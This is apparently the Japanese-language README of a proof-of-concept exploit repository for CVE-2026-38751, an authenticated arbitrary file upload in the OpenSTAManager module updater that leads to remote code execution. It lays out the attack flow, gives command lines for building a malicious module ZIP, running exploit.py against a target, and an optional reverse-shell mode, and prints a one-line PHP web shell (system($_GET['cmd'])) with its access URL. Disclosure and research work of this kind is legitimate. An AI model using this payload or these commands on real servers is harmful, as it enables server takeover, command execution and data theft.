CVE-2026-38751 – OpenSTAManager 任意ファイルアップロード (PoC)

このリポジトリには、OpenSTAManager ≤ 2.10 に影響する CVE-2026-38751 の概念実証 (PoC) エクスプロイトが含まれています。この脆弱性により、認証済みの攻撃者がモジュール更新機能を介して悪意のあるモジュールをアップロードでき、任意のファイルアップロードとリモートコード実行 (RCE) につながります。

CVE リファレンス

MITRE CVE エントリ (最初の公開レコード): https://www.cve.org/CVERecord?id=CVE-2026-38751
NVD (NIST) 脆弱性データベース: https://nvd.nist.gov/vuln/detail/CVE-2026-38751
GitHub Advisory Database https://github.com/advisories/GHSA-rm34-fg4m-39mw

影響を受けるソフトウェア

OpenSTAManager ≤ 2.10
モジュール更新システム (modules/aggiornamenti/upload_modules.php)

脆弱性の説明

モジュール更新機能は、認証済みユーザーがファイルの内容や実行境界を適切に検証せずに ZIP ベースのモジュールをアップロードすることを許可します。攻撃者は PHP ペイロードを含む悪意のあるモジュールを細工でき、これらは Web ルートに展開され、アプリケーションコンテキストを介して実行されます。その結果、次のことが発生します:

任意のファイルアップロード (CWE-434)
アップロードされた PHP ファイルを介したリモートコード実行
アプリケーションコンテキストの完全な侵害

攻撃フロー (概要)

OpenSTAManager に認証する
細工したモジュール ZIP アーカイブをアップロードする
モジュールのインストール/更新プロセスをトリガーする
Web ルートを介してアップロードされた PHP ペイロードにアクセスする
サーバー上で任意のコマンドを実行する

影響

悪用に成功すると、以下が可能になります:

リモートコマンド実行
Web サーバーの侵害
データの外部漏えい
権限に応じたアプリケーションの完全な乗っ取り

要件

有効な認証済みユーザーアカウント
モジュール更新機能へのアクセスが有効であること

使用方法 (PoC)

悪意のあるモジュールを生成する

python exploit.py --build

以下を作成します:

update.zip
└── run/
    ├── MODULE
    └── evil.php

エクスプロイトを実行する

python exploit.py <username> <password> <target_url>

オプションのリバースシェルモード:

python exploit.py <username> <password> <target_url> --lhost <IP> --lport <PORT>

ペイロード例

<?php
isset($_GET['cmd']) && system($_GET['cmd']);
?>

検証

成功した場合、次のエンドポイントがシステムコマンドを実行します: /modules/run/evil.php?cmd=id

MITRE / NVD リファレンス

MITRE CVE レコード: https://www.cve.org/CVERecord?id=CVE-2026-38751
NVD エントリ: https://nvd.nist.gov/vuln/detail/CVE-2026-38751

免責事項

このプロジェクトは以下を目的としています:

教育目的
許可されたセキュリティテスト
研究環境

明示的な許可なしにシステムに対して使用しないでください。

注意事項

検出はサーバー設定によって異なる場合があります。一部のデプロイメントでは、モジュールディレクトリでの PHP の直接実行が無効になっている場合があります。モジュールのアクティベーションのタイミングによっては、リトライが必要になる場合があります。

謝辞

MITRE CVE プログラム
NIST National Vulnerability Database (NVD)
OpenSTAManager プロジェクトメンテナー
https://github.com/fuutianyii/poc (最初の PoC)

CVE-2026-38751-OpenSTAManager-Arbitrary-File-Upload-PoC

人気